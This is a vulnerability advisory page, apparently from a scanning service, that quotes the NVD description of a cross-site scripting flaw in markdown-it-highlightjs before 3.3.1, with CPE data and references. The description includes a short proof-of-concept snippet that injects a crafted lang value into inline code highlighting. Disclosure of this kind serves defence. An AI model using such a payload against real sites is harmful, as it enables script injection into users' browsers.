A plain-language summary of this CVE is being written; the description below is the NVD's own text.
Description
This affects the package markdown-it-highlightjs before 3.3.1. It is possible insert malicious JavaScript as a value of lang in the markdown-it-highlightjs Inline code highlighting feature. const markdownItHighlightjs = require("markdown-it-highlightjs"); const md = require('markdown-it'); const reuslt_xss = md() .use(markdownItHighlightjs, { inline: true }) .render('console.log(42){.">js}'); console.log(reuslt_xss);
Affected products
From the NVD's configuration data (CPE), vendor first.
- Markdown It Highlightjs Project markdown-it-highlightjs
Weakness type
References
- github.com /valeriangalliat/markdown-it-highlightjs/blob/v3.3.0/index.…
- github.com /valeriangalliat/markdown-it-highlightjs/pull/14
- snyk.io /vuln/SNYK-JS-MARKDOWNITHIGHLIGHTJS-1040461
Ingati scans your site every week and tells you when a CVE like this one affects something it found there.
Start scanning